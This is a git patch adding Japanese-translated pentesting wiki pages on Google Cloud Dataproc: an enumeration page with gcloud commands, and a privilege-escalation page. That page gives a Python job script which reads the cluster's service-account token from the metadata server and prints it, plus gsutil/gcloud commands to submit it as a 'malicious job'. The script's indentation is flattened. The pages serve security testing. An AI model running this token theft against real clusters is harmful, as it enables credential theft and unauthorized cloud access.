From f38722af5e00a04ce8c26094546718b9f0d994c2 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Sun, 26 Jan 2025 21:46:23 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

---
 .../gcp-dataproc-privesc.md                   | 54 +++++++++++++++++++
 .../gcp-services/gcp-dataproc-enum.md         | 43 +++++++++++++++
 2 files changed, 97 insertions(+)
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md

diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
new file mode 100644
index 000000000..c612c79b9
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md
@@ -0,0 +1,54 @@
+# GCP Dataproc Privilege Escalation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dataproc
+
+{{#ref}}
+../gcp-services/gcp-dataproc-enum.md
+{{#endref}}
+
+### `dataproc.clusters.get`, `dataproc.clusters.use`, `dataproc.jobs.create`, `dataproc.jobs.get`, `dataproc.jobs.list`, `storage.objects.create`, `storage.objects.get`
+
+この方法を使用してリバースシェルを取得することはできませんでしたが、以下に説明する方法を使用してメタデータエンドポイントからSAトークンを漏洩させることが可能です。
+
+#### 攻撃手順
+
+- GCPバケットにジョブスクリプトを配置する
+
+- Dataprocクラスターにジョブを送信する。
+
+- ジョブを使用してメタデータサーバーにアクセスする。
+
+- クラスターによって使用されるサービスアカウントトークンを漏洩させる。
+```python
+import requests
+
+metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
+headers = {"Metadata-Flavor": "Google"}
+
+def fetch_metadata_token():
+try:
+response = requests.get(metadata_url, headers=headers, timeout=5)
+response.raise_for_status()
+token = response.json().get("access_token", "")
+print(f"Leaked Token: {token}")
+return token
+except Exception as e:
+print(f"Error fetching metadata token: {e}")
+return None
+
+if __name__ == "__main__":
+fetch_metadata_token()
+```
+
+```bash
+# Copy the script to the storage bucket
+gsutil cp <python-script> gs://<bucket-name>/<python-script>
+
+# Submit the malicious job
+gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
+--cluster=<cluster-name> \
+--region=<region>
+```
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md
new file mode 100644
index 000000000..e0cb75ff0
--- /dev/null
+++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-dataproc-enum.md
@@ -0,0 +1,43 @@
+# GCP - Dataproc Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## 基本情報
+
+Google Cloud Dataprocは、Apache Spark、Apache Hadoop、Apache Flink、およびその他のビッグデータフレームワークを実行するための完全管理型サービスです。主にデータ処理、クエリ、機械学習、およびストリーム分析に使用されます。Dataprocは、組織がCloud Storage、BigQuery、Cloud Monitoringなどの他のGoogle Cloud Platform (GCP)サービスとシームレスに統合し、分散コンピューティングのためのクラスターを簡単に作成できるようにします。
+
+Dataprocクラスターは仮想マシン（VM）上で実行され、これらのVMに関連付けられたサービスアカウントがクラスターの権限とアクセスレベルを決定します。
+
+## コンポーネント
+
+Dataprocクラスターには通常、以下が含まれます：
+
+マスターノード：クラスターリソースを管理し、分散タスクを調整します。
+
+ワーカーノード：分散タスクを実行します。
+
+サービスアカウント：API呼び出しを処理し、他のGCPサービスにアクセスします。
+
+## 列挙
+
+Dataprocクラスター、ジョブ、および構成を列挙して、サービスアカウント、権限、および潜在的な誤設定などの機密情報を収集できます。
+
+### クラスター列挙
+
+Dataprocクラスターを列挙し、その詳細を取得するには：
+```
+gcloud dataproc clusters list --region=<region>
+gcloud dataproc clusters describe <cluster-name> --region=<region>
+```
+### ジョブ列挙
+```
+gcloud dataproc jobs list --region=<region>
+gcloud dataproc jobs describe <job-id> --region=<region>
+```
+### プライベートエスカレーション
+
+{{#ref}}
+../gcp-privilege-escalation/gcp-dataproc-privesc.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}